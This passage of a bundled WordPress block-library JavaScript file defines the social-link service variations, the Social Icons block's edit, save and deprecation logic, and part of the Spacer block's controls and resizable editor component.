49210 title: (0,external_wp_i18n_namespaceObject._x)("Flickr", "social link block variation name"),
49211 icon: FlickrIcon
49212 },
49213 {
49214 name: "foursquare",
49215 attributes: { service: "foursquare" },
49216 title: (0,external_wp_i18n_namespaceObject._x)("Foursquare", "social link block variation name"),
49217 icon: FoursquareIcon
49218 },
49219 {
49220 name: "goodreads",
49221 attributes: { service: "goodreads" },
49222 title: (0,external_wp_i18n_namespaceObject._x)("Goodreads", "social link block variation name"),
49223 icon: GoodreadsIcon
49224 },
49225 {
49226 name: "google",
49227 attributes: { service: "google" },
49228 title: (0,external_wp_i18n_namespaceObject._x)("Google", "social link block variation name"),
49229 icon: GoogleIcon
49230 },
49231 {
49232 name: "github",
49233 attributes: { service: "github" },
49234 title: (0,external_wp_i18n_namespaceObject._x)("GitHub", "social link block variation name"),
49235 icon: GitHubIcon
49236 },
49237 {
49238 name: "gravatar",
49239 attributes: { service: "gravatar" },
49240 title: (0,external_wp_i18n_namespaceObject._x)("Gravatar", "social link block variation name"),
49241 icon: GravatarIcon
49242 },
49243 {
49244 name: "instagram",
49245 attributes: { service: "instagram" },
49246 title: (0,external_wp_i18n_namespaceObject._x)("Instagram", "social link block variation name"),
49247 icon: InstagramIcon
49248 },
49249 {
49250 name: "lastfm",
49251 attributes: { service: "lastfm" },
49252 title: (0,external_wp_i18n_namespaceObject._x)("Last.fm", "social link block variation name"),
49253 icon: LastfmIcon
49254 },
49255 {
49256 name: "linkedin",
49257 attributes: { service: "linkedin" },
49258 title: (0,external_wp_i18n_namespaceObject._x)("LinkedIn", "social link block variation name"),
49259 icon: LinkedInIcon
49260 },
49261 {
49262 name: "mail",
49263 attributes: { service: "mail" },
49264 title: (0,external_wp_i18n_namespaceObject._x)("Mail", "social link block variation name"),
49265 keywords: ["email", "e-mail"],
49266 icon: MailIcon
49267 },
49268 {
49269 name: "mastodon",
49270 attributes: { service: "mastodon" },
49271 title: (0,external_wp_i18n_namespaceObject._x)("Mastodon", "social link block variation name"),
49272 icon: MastodonIcon
49273 },
49274 {
49275 name: "meetup",
49276 attributes: { service: "meetup" },
49277 title: (0,external_wp_i18n_namespaceObject._x)("Meetup", "social link block variation name"),
49278 icon: MeetupIcon
49279 },
49280 {
49281 name: "medium",
49282 attributes: { service: "medium" },
49283 title: (0,external_wp_i18n_namespaceObject._x)("Medium", "social link block variation name"),
49284 icon: MediumIcon
49285 },
49286 {
49287 name: "patreon",
49288 attributes: { service: "patreon" },
49289 title: (0,external_wp_i18n_namespaceObject._x)("Patreon", "social link block variation name"),
49290 icon: PatreonIcon
49291 },
49292 {
49293 name: "pinterest",
49294 attributes: { service: "pinterest" },
49295 title: (0,external_wp_i18n_namespaceObject._x)("Pinterest", "social link block variation name"),
49296 icon: PinterestIcon
49297 },
49298 {
49299 name: "pocket",
49300 attributes: { service: "pocket" },
49301 title: (0,external_wp_i18n_namespaceObject._x)("Pocket", "social link block variation name"),
49302 icon: PocketIcon
49303 },
49304 {
49305 name: "reddit",
49306 attributes: { service: "reddit" },
49307 title: (0,external_wp_i18n_namespaceObject._x)("Reddit", "social link block variation name"),
49308 icon: RedditIcon
49309 },
49310 {
49311 name: "skype",
49312 attributes: { service: "skype" },
49313 title: (0,external_wp_i18n_namespaceObject._x)("Skype", "social link block variation name"),
49314 icon: SkypeIcon,
49315 // Deprecated: Skype service is no longer available.
49316 scope: []
49317 },
49318 {
49319 name: "snapchat",
49320 attributes: { service: "snapchat" },
49321 title: (0,external_wp_i18n_namespaceObject._x)("Snapchat", "social link block variation name"),
49322 icon: SnapchatIcon
49323 },
49324 {
49325 name: "soundcloud",
49326 attributes: { service: "soundcloud" },
49327 title: (0,external_wp_i18n_namespaceObject._x)("SoundCloud", "social link block variation name"),
49328 icon: SoundCloudIcon
49329 },
49330 {
49331 name: "spotify",
49332 attributes: { service: "spotify" },
49333 title: (0,external_wp_i18n_namespaceObject._x)("Spotify", "social link block variation name"),
49334 icon: SpotifyIcon
49335 },
49336 {
49337 name: "telegram",
49338 attributes: { service: "telegram" },
49339 title: (0,external_wp_i18n_namespaceObject._x)("Telegram", "social link block variation name"),
49340 icon: TelegramIcon
49341 },
49342 {
49343 name: "threads",
49344 attributes: { service: "threads" },
49345 title: (0,external_wp_i18n_namespaceObject._x)("Threads", "social link block variation name"),
49346 icon: ThreadsIcon
49347 },
49348 {
49349 name: "tiktok",
49350 attributes: { service: "tiktok" },
49351 title: (0,external_wp_i18n_namespaceObject._x)("TikTok", "social link block variation name"),
49352 icon: TiktokIcon
49353 },
49354 {
49355 name: "tumblr",
49356 attributes: { service: "tumblr" },
49357 title: (0,external_wp_i18n_namespaceObject._x)("Tumblr", "social link block variation name"),
49358 icon: TumblrIcon
49359 },
49360 {
49361 name: "twitch",
49362 attributes: { service: "twitch" },
49363 title: (0,external_wp_i18n_namespaceObject._x)("Twitch", "social link block variation name"),
49364 icon: TwitchIcon
49365 },
49366 {
49367 name: "twitter",
49368 attributes: { service: "twitter" },
49369 title: (0,external_wp_i18n_namespaceObject._x)("Twitter", "social link block variation name"),
49370 icon: TwitterIcon
49371 },
49372 {
49373 name: "vimeo",
49374 attributes: { service: "vimeo" },
49375 title: (0,external_wp_i18n_namespaceObject._x)("Vimeo", "social link block variation name"),
49376 icon: VimeoIcon
49377 },
49378 {
49379 name: "vk",
49380 attributes: { service: "vk" },
49381 title: (0,external_wp_i18n_namespaceObject._x)("VK", "social link block variation name"),
49382 icon: VkIcon
49383 },
49384 {
49385 name: "whatsapp",
49386 attributes: { service: "whatsapp" },
49387 title: (0,external_wp_i18n_namespaceObject._x)("WhatsApp", "social link block variation name"),
49388 icon: WhatsAppIcon
49389 },
49390 {
49391 name: "x",
49392 attributes: { service: "x" },
49393 keywords: ["twitter"],
49394 title: (0,external_wp_i18n_namespaceObject._x)("X", "social link block variation name"),
49395 icon: XIcon
49396 },
49397 {
49398 name: "yelp",
49399 attributes: { service: "yelp" },
49400 title: (0,external_wp_i18n_namespaceObject._x)("Yelp", "social link block variation name"),
49401 icon: YelpIcon
49402 },
49403 {
49404 name: "youtube",
49405 attributes: { service: "youtube" },
49406 title: (0,external_wp_i18n_namespaceObject._x)("YouTube", "social link block variation name"),
49407 icon: YouTubeIcon
49408 }
49409];
49410social_link_variations_variations.forEach((variation) => {
49411 if (variation.isActive) {
49412 return;
49413 }
49414 variation.isActive = (blockAttributes, variationAttributes) => blockAttributes.service === variationAttributes.service;
49415});
49416var social_link_variations_variations_default = social_link_variations_variations;
49417
49418
49419;// ./node_modules/@wordpress/block-library/build-module/social-link/index.js
49420
49421
49422
49423
49424
49425const { name: social_link_name } = social_link_block_namespaceObject;
49426const social_link_settings = {
49427 icon: share_default,
49428 edit: social_link_edit_edit_default,
49429 variations: social_link_variations_variations_default
49430};
49431const social_link_init = () => initBlock({ name: social_link_name, metadata: social_link_block_namespaceObject, settings: social_link_settings });
49432
49433
49434;// ./node_modules/@wordpress/block-library/build-module/social-links/deprecated.js
49435
49436
49437
49438const social_links_deprecated_migrateWithLayout = (attributes) => {
49439 if (!!attributes.layout) {
49440 return attributes;
49441 }
49442 const { className } = attributes;
49443 const prefix = `items-justified-`;
49444 const justifiedItemsRegex = new RegExp(`\\b${prefix}[^ ]*[ ]?\\b`, "g");
49445 const newAttributes = {
49446 ...attributes,
49447 className: className?.replace(justifiedItemsRegex, "").trim()
49448 };
49449 const justifyContent = className?.match(justifiedItemsRegex)?.[0]?.trim();
49450 if (justifyContent) {
49451 Object.assign(newAttributes, {
49452 layout: {
49453 type: "flex",
49454 justifyContent: justifyContent.slice(prefix.length)
49455 }
49456 });
49457 }
49458 return newAttributes;
49459};
49460const social_links_deprecated_deprecated = [
49461 // V1. Remove CSS variable use for colors.
49462 {
49463 attributes: {
49464 iconColor: {
49465 type: "string"
49466 },
49467 customIconColor: {
49468 type: "string"
49469 },
49470 iconColorValue: {
49471 type: "string"
49472 },
49473 iconBackgroundColor: {
49474 type: "string"
49475 },
49476 customIconBackgroundColor: {
49477 type: "string"
49478 },
49479 iconBackgroundColorValue: {
49480 type: "string"
49481 },
49482 openInNewTab: {
49483 type: "boolean",
49484 default: false
49485 },
49486 size: {
49487 type: "string"
49488 }
49489 },
49490 providesContext: {
49491 openInNewTab: "openInNewTab"
49492 },
49493 supports: {
49494 align: ["left", "center", "right"],
49495 anchor: true
49496 },
49497 migrate: social_links_deprecated_migrateWithLayout,
49498 save: (props) => {
49499 const {
49500 attributes: {
49501 iconBackgroundColorValue,
49502 iconColorValue,
49503 itemsJustification,
49504 size
49505 }
49506 } = props;
49507 const className = dist_clsx(size, {
49508 "has-icon-color": iconColorValue,
49509 "has-icon-background-color": iconBackgroundColorValue,
49510 [`items-justified-${itemsJustification}`]: itemsJustification
49511 });
49512 const style = {
49513 "--wp--social-links--icon-color": iconColorValue,
49514 "--wp--social-links--icon-background-color": iconBackgroundColorValue
49515 };
49516 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
49517 }
49518 }
49519];
49520var social_links_deprecated_deprecated_default = social_links_deprecated_deprecated;
49521
49522
49523;// ./node_modules/@wordpress/block-library/build-module/social-links/edit.js
49524
49525
49526
49527
49528
49529
49530
49531
49532const sizeOptions = [
49533 { label: (0,external_wp_i18n_namespaceObject.__)("Default"), value: "" },
49534 { label: (0,external_wp_i18n_namespaceObject.__)("Small"), value: "has-small-icon-size" },
49535 { label: (0,external_wp_i18n_namespaceObject.__)("Normal"), value: "has-normal-icon-size" },
49536 { label: (0,external_wp_i18n_namespaceObject.__)("Large"), value: "has-large-icon-size" },
49537 { label: (0,external_wp_i18n_namespaceObject.__)("Huge"), value: "has-huge-icon-size" }
49538];
49539function SocialLinksEdit(props) {
49540 const {
49541 clientId,
49542 attributes,
49543 iconBackgroundColor,
49544 iconColor,
49545 isSelected,
49546 setAttributes,
49547 setIconBackgroundColor,
49548 setIconColor
49549 } = props;
49550 const {
49551 iconBackgroundColorValue,
49552 iconColorValue,
49553 openInNewTab,
49554 showLabels,
49555 size
49556 } = attributes;
49557 const { hasSocialIcons, hasSelectedChild } = (0,external_wp_data_namespaceObject.useSelect)(
49558 (select) => {
49559 const { getBlockCount, hasSelectedInnerBlock } = select(external_wp_blockEditor_namespaceObject.store);
49560 return {
49561 hasSocialIcons: getBlockCount(clientId) > 0,
49562 hasSelectedChild: hasSelectedInnerBlock(clientId)
49563 };
49564 },
49565 [clientId]
49566 );
49567 const hasAnySelected = isSelected || hasSelectedChild;
49568 const logosOnly = attributes.className?.includes("is-style-logos-only");
49569 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
49570 (0,external_wp_element_namespaceObject.useEffect)(() => {
49571 if (logosOnly) {
49572 let restore;
49573 setAttributes((prev) => {
49574 restore = {
49575 iconBackgroundColor: prev.iconBackgroundColor,
49576 iconBackgroundColorValue: prev.iconBackgroundColorValue,
49577 customIconBackgroundColor: prev.customIconBackgroundColor
49578 };
49579 return {
49580 iconBackgroundColor: void 0,
49581 iconBackgroundColorValue: void 0,
49582 customIconBackgroundColor: void 0
49583 };
49584 });
49585 return () => setAttributes({ ...restore });
49586 }
49587 }, [logosOnly, setAttributes]);
49588 const className = dist_clsx(size, {
49589 "has-visible-labels": showLabels,
49590 "has-icon-color": iconColor.color || iconColorValue,
49591 "has-icon-background-color": iconBackgroundColor.color || iconBackgroundColorValue
49592 });
49593 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({ className });
49594 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
49595 templateLock: false,
49596 orientation: attributes.layout?.orientation ?? "horizontal",
49597 __experimentalAppenderTagName: "li",
49598 renderAppender: !hasSocialIcons || hasAnySelected ? external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender : void 0
49599 });
49600 const colorSettings = [
49601 {
49602 // Use custom attribute as fallback to prevent loss of named color selection when
49603 // switching themes to a new theme that does not have a matching named color.
49604 value: iconColor.color || iconColorValue,
49605 onChange: (colorValue) => {
49606 setIconColor(colorValue);
49607 setAttributes({ iconColorValue: colorValue });
49608 },
49609 label: (0,external_wp_i18n_namespaceObject.__)("Icon color"),
49610 resetAllFilter: () => {
49611 setIconColor(void 0);
49612 setAttributes({ iconColorValue: void 0 });
49613 }
49614 }
49615 ];
49616 if (!logosOnly) {
49617 colorSettings.push({
49618 // Use custom attribute as fallback to prevent loss of named color selection when
49619 // switching themes to a new theme that does not have a matching named color.
49620 value: iconBackgroundColor.color || iconBackgroundColorValue,
49621 onChange: (colorValue) => {
49622 setIconBackgroundColor(colorValue);
49623 setAttributes({
49624 iconBackgroundColorValue: colorValue
49625 });
49626 },
49627 label: (0,external_wp_i18n_namespaceObject.__)("Icon background"),
49628 resetAllFilter: () => {
49629 setIconBackgroundColor(void 0);
49630 setAttributes({ iconBackgroundColorValue: void 0 });
49631 }
49632 });
49633 }
49634 const colorGradientSettings = (0,external_wp_blockEditor_namespaceObject.__experimentalUseMultipleOriginColorsAndGradients)();
49635 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
49636 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
49637 external_wp_components_namespaceObject.__experimentalToolsPanel,
49638 {
49639 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
49640 resetAll: () => {
49641 setAttributes({
49642 openInNewTab: false,
49643 showLabels: false,
49644 size: void 0
49645 });
49646 },
49647 dropdownMenuProps,
49648 children: [
49649 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49650 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
49651 {
49652 isShownByDefault: true,
49653 hasValue: () => !!size,
49654 label: (0,external_wp_i18n_namespaceObject.__)("Icon size"),
49655 onDeselect: () => setAttributes({ size: void 0 }),
49656 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49657 external_wp_components_namespaceObject.SelectControl,
49658 {
49659 __next40pxDefaultSize: true,
49660 __nextHasNoMarginBottom: true,
49661 label: (0,external_wp_i18n_namespaceObject.__)("Icon size"),
49662 onChange: (newSize) => {
49663 setAttributes({
49664 size: newSize === "" ? void 0 : newSize
49665 });
49666 },
49667 value: size ?? "",
49668 options: sizeOptions
49669 }
49670 )
49671 }
49672 ),
49673 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49674 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
49675 {
49676 isShownByDefault: true,
49677 label: (0,external_wp_i18n_namespaceObject.__)("Show text"),
49678 hasValue: () => !!showLabels,
49679 onDeselect: () => setAttributes({ showLabels: false }),
49680 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49681 external_wp_components_namespaceObject.ToggleControl,
49682 {
49683 __nextHasNoMarginBottom: true,
49684 label: (0,external_wp_i18n_namespaceObject.__)("Show text"),
49685 checked: showLabels,
49686 onChange: () => setAttributes({ showLabels: !showLabels })
49687 }
49688 )
49689 }
49690 ),
49691 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49692 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
49693 {
49694 isShownByDefault: true,
49695 label: (0,external_wp_i18n_namespaceObject.__)("Open links in new tab"),
49696 hasValue: () => !!openInNewTab,
49697 onDeselect: () => setAttributes({ openInNewTab: false }),
49698 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49699 external_wp_components_namespaceObject.ToggleControl,
49700 {
49701 __nextHasNoMarginBottom: true,
49702 label: (0,external_wp_i18n_namespaceObject.__)("Open links in new tab"),
49703 checked: openInNewTab,
49704 onChange: () => setAttributes({
49705 openInNewTab: !openInNewTab
49706 })
49707 }
49708 )
49709 }
49710 )
49711 ]
49712 }
49713 ) }),
49714 colorGradientSettings.hasColorsOrGradients && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "color", children: [
49715 colorSettings.map(
49716 ({ onChange, label, value, resetAllFilter }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49717 external_wp_blockEditor_namespaceObject.__experimentalColorGradientSettingsDropdown,
49718 {
49719 __experimentalIsRenderedInSidebar: true,
49720 settings: [
49721 {
49722 colorValue: value,
49723 label,
49724 onColorChange: onChange,
49725 isShownByDefault: true,
49726 resetAllFilter,
49727 enableAlpha: true,
49728 clearable: true
49729 }
49730 ],
49731 panelId: clientId,
49732 ...colorGradientSettings
49733 },
49734 `social-links-color-${label}`
49735 )
49736 ),
49737 !logosOnly && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49738 external_wp_blockEditor_namespaceObject.ContrastChecker,
49739 {
49740 ...{
49741 textColor: iconColorValue,
49742 backgroundColor: iconBackgroundColorValue
49743 },
49744 isLargeText: false
49745 }
49746 )
49747 ] }),
49748 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...innerBlocksProps })
49749 ] });
49750}
49751const iconColorAttributes = {
49752 iconColor: "icon-color",
49753 iconBackgroundColor: "icon-background-color"
49754};
49755var social_links_edit_edit_default = (0,external_wp_blockEditor_namespaceObject.withColors)(iconColorAttributes)(SocialLinksEdit);
49756
49757
49758;// ./node_modules/@wordpress/block-library/build-module/social-links/block.json
49759const social_links_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/social-links","title":"Social Icons","category":"widgets","allowedBlocks":["core/social-link"],"description":"Display icons linking to your social profiles or sites.","keywords":["links"],"textdomain":"default","attributes":{"iconColor":{"type":"string"},"customIconColor":{"type":"string"},"iconColorValue":{"type":"string"},"iconBackgroundColor":{"type":"string"},"customIconBackgroundColor":{"type":"string"},"iconBackgroundColorValue":{"type":"string"},"openInNewTab":{"type":"boolean","default":false},"showLabels":{"type":"boolean","default":false},"size":{"type":"string"}},"providesContext":{"openInNewTab":"openInNewTab","showLabels":"showLabels","iconColor":"iconColor","iconColorValue":"iconColorValue","iconBackgroundColor":"iconBackgroundColor","iconBackgroundColorValue":"iconBackgroundColorValue"},"supports":{"align":["left","center","right"],"anchor":true,"html":false,"__experimentalExposeControlsToChildren":true,"layout":{"allowSwitching":false,"allowInheriting":false,"allowVerticalAlignment":false,"default":{"type":"flex"}},"color":{"enableContrastChecker":false,"background":true,"gradients":true,"text":false,"__experimentalDefaultControls":{"background":false}},"spacing":{"blockGap":["horizontal","vertical"],"margin":true,"padding":true,"units":["px","em","rem","vh","vw"],"__experimentalDefaultControls":{"blockGap":true,"margin":true,"padding":false}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}},"contentRole":true},"styles":[{"name":"default","label":"Default","isDefault":true},{"name":"logos-only","label":"Logos Only"},{"name":"pill-shape","label":"Pill Shape"}],"editorStyle":"wp-block-social-links-editor","style":"wp-block-social-links"}');
49760;// ./node_modules/@wordpress/block-library/build-module/social-links/save.js
49761
49762
49763
49764function social_links_save_save(props) {
49765 const {
49766 attributes: {
49767 iconBackgroundColorValue,
49768 iconColorValue,
49769 showLabels,
49770 size
49771 }
49772 } = props;
49773 const className = dist_clsx(size, {
49774 "has-visible-labels": showLabels,
49775 "has-icon-color": iconColorValue,
49776 "has-icon-background-color": iconBackgroundColorValue
49777 });
49778 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({ className });
49779 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
49780 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...innerBlocksProps });
49781}
49782
49783
49784;// ./node_modules/@wordpress/block-library/build-module/social-links/index.js
49785
49786
49787
49788
49789
49790
49791const { name: social_links_name } = social_links_block_namespaceObject;
49792const social_links_settings = {
49793 example: {
49794 innerBlocks: [
49795 {
49796 name: "core/social-link",
49797 attributes: {
49798 service: "wordpress",
49799 url: "https://wordpress.org"
49800 }
49801 },
49802 {
49803 name: "core/social-link",
49804 attributes: {
49805 service: "facebook",
49806 url: "https://www.facebook.com/WordPress/"
49807 }
49808 },
49809 {
49810 name: "core/social-link",
49811 attributes: {
49812 service: "twitter",
49813 url: "https://twitter.com/WordPress"
49814 }
49815 }
49816 ]
49817 },
49818 icon: share_default,
49819 edit: social_links_edit_edit_default,
49820 save: social_links_save_save,
49821 deprecated: social_links_deprecated_deprecated_default
49822};
49823const social_links_init = () => initBlock({ name: social_links_name, metadata: social_links_block_namespaceObject, settings: social_links_settings });
49824
49825
49826;// ./node_modules/@wordpress/icons/build-module/library/resize-corner-n-e.js
49827
49828
49829var resize_corner_n_e_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7 18h4.5v1.5h-7v-7H6V17L17 6h-4.5V4.5h7v7H18V7L7 18Z" }) });
49830
49831
49832;// ./node_modules/@wordpress/block-library/build-module/spacer/deprecated.js
49833
49834
49835const spacer_deprecated_deprecated = [
49836 {
49837 attributes: {
49838 height: {
49839 type: "number",
49840 default: 100
49841 },
49842 width: {
49843 type: "number"
49844 }
49845 },
49846 migrate(attributes) {
49847 const { height, width } = attributes;
49848 return {
49849 ...attributes,
49850 width: width !== void 0 ? `${width}px` : void 0,
49851 height: height !== void 0 ? `${height}px` : void 0
49852 };
49853 },
49854 save({ attributes }) {
49855 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49856 "div",
49857 {
49858 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
49859 style: {
49860 height: attributes.height,
49861 width: attributes.width
49862 },
49863 "aria-hidden": true
49864 })
49865 }
49866 );
49867 }
49868 }
49869];
49870var spacer_deprecated_deprecated_default = spacer_deprecated_deprecated;
49871
49872
49873;// ./node_modules/@wordpress/block-library/build-module/spacer/constants.js
49874const MIN_SPACER_SIZE = 0;
49875
49876
49877;// ./node_modules/@wordpress/block-library/build-module/spacer/controls.js
49878
49879
49880
49881
49882
49883
49884
49885
49886
49887const { useSpacingSizes } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
49888function DimensionInput({ label, onChange, isResizing, value = "" }) {
49889 const inputId = (0,external_wp_compose_namespaceObject.useInstanceId)(external_wp_components_namespaceObject.__experimentalUnitControl, "block-spacer-height-input");
49890 const spacingSizes = useSpacingSizes();
49891 const [spacingUnits] = (0,external_wp_blockEditor_namespaceObject.useSettings)("spacing.units");
49892 const availableUnits = spacingUnits ? spacingUnits.filter((unit) => unit !== "%") : ["px", "em", "rem", "vw", "vh"];
49893 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
49894 availableUnits,
49895 defaultValues: { px: 100, em: 10, rem: 10, vw: 10, vh: 25 }
49896 });
49897 const [parsedQuantity, parsedUnit] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value);
49898 const computedValue = (0,external_wp_blockEditor_namespaceObject.isValueSpacingPreset)(value) ? value : [parsedQuantity, isResizing ? "px" : parsedUnit].join("");
49899 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: spacingSizes?.length < 2 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49900 external_wp_components_namespaceObject.__experimentalUnitControl,
49901 {
49902 id: inputId,
49903 isResetValueOnUnitChange: true,
49904 min: MIN_SPACER_SIZE,
49905 onChange,
49906 value: computedValue,
49907 units,
49908 label,
49909 __next40pxDefaultSize: true
49910 }
49911 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, { className: "tools-panel-item-spacing", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49912 external_wp_blockEditor_namespaceObject.__experimentalSpacingSizesControl,
49913 {
49914 values: { all: computedValue },
49915 onChange: ({ all }) => {
49916 onChange(all);
49917 },
49918 label,
49919 sides: ["all"],
49920 units,
49921 allowReset: false,
49922 splitOnAxis: false,
49923 showSideInLabel: false
49924 }
49925 ) }) });
49926}
49927function SpacerControls({
49928 setAttributes,
49929 orientation,
49930 height,
49931 width,
49932 isResizing
49933}) {
49934 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
49935 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
49936 external_wp_components_namespaceObject.__experimentalToolsPanel,
49937 {
49938 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
49939 resetAll: () => {
49940 setAttributes({
49941 width: void 0,
49942 height: "100px"
49943 });
49944 },
49945 dropdownMenuProps,
49946 children: [
49947 orientation === "horizontal" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49948 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
49949 {
49950 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
49951 isShownByDefault: true,
49952 hasValue: () => width !== void 0,
49953 onDeselect: () => setAttributes({ width: void 0 }),
49954 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49955 DimensionInput,
49956 {
49957 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
49958 value: width,
49959 onChange: (nextWidth) => setAttributes({ width: nextWidth }),
49960 isResizing
49961 }
49962 )
49963 }
49964 ),
49965 orientation !== "horizontal" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49966 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
49967 {
49968 label: (0,external_wp_i18n_namespaceObject.__)("Height"),
49969 isShownByDefault: true,
49970 hasValue: () => height !== "100px",
49971 onDeselect: () => setAttributes({ height: "100px" }),
49972 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49973 DimensionInput,
49974 {
49975 label: (0,external_wp_i18n_namespaceObject.__)("Height"),
49976 value: height,
49977 onChange: (nextHeight) => setAttributes({ height: nextHeight }),
49978 isResizing
49979 }
49980 )
49981 }
49982 )
49983 ]
49984 }
49985 ) });
49986}
49987
49988
49989;// ./node_modules/@wordpress/block-library/build-module/spacer/edit.js
49990
49991
49992
49993
49994
49995
49996
49997
49998
49999
50000const { useSpacingSizes: edit_useSpacingSizes } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
50001const ResizableSpacer = ({
50002 orientation,
50003 onResizeStart,
50004 onResize,
50005 onResizeStop,
50006 isSelected,
50007 isResizing,
50008 setIsResizing,
50009 ...props
50010}) => {
50011 const getCurrentSize = (elt) => {
50012 return orientation === "horizontal" ? elt.clientWidth : elt.clientHeight;
50013 };
50014 const getNextVal = (elt) => {
50015 return `${getCurrentSize(elt)}px`;
50016 };
50017 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50018 external_wp_components_namespaceObject.ResizableBox,
50019 {
50020 className: dist_clsx("block-library-spacer__resize-container", {
50021 "resize-horizontal": orientation === "horizontal",
50022 "is-resizing": isResizing,
50023 "is-selected": isSelected
50024 }),
50025 onResizeStart: (_event, _direction, elt) => {
50026 const nextVal = getNextVal(elt);
50027 onResizeStart(nextVal);
50028 onResize(nextVal);
50029 },
50030 onResize: (_event, _direction, elt) => {
50031 onResize(getNextVal(elt));
50032 if (!isResizing) {
50033 setIsResizing(true);
50034 }
50035 },
50036 onResizeStop: (_event, _direction, elt) => {
50037 const nextVal = getCurrentSize(elt);
50038 onResizeStop(`${nextVal}px`);
50039 setIsResizing(false);
50040 },
50041 __experimentalShowTooltip: true,
50042 __experimentalTooltipProps: {
50043 axis: orientation === "horizontal" ? "x" : "y",
50044 position: "corner",
50045 isVisible: isResizing
50046 },
50047 showHandle: isSelected,
50048 ...props
50049 }
50050 );
50051};
50052const SpacerEdit = ({
50053 attributes,
50054 isSelected,
50055 setAttributes,
50056 toggleSelection,
50057 context,
50058 __unstableParentLayout: parentLayout,
50059 className
50060}) => {
50061 const disableCustomSpacingSizes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
50062 const editorSettings = select(external_wp_blockEditor_namespaceObject.store).getSettings();
50063 return editorSettings?.disableCustomSpacingSizes;
50064 });
50065 const { orientation } = context;
50066 const {
50067 orientation: parentOrientation,
50068 type,
50069 default: { type: defaultType } = {}
50070 } = parentLayout || {};
50071 const isFlexLayout = type === "flex" || !type && defaultType === "flex";
50072 const inheritedOrientation = !parentOrientation && isFlexLayout ? "horizontal" : parentOrientation || orientation;
50073 const { height, width, style: blockStyle = {} } = attributes;
50074 const { layout = {} } = blockStyle;
50075 const { selfStretch, flexSize } = layout;
50076 const spacingSizes = edit_useSpacingSizes();
50077 const [isResizing, setIsResizing] = (0,external_wp_element_namespaceObject.useState)(false);
50078 const [temporaryHeight, setTemporaryHeight] = (0,external_wp_element_namespaceObject.useState)(null);
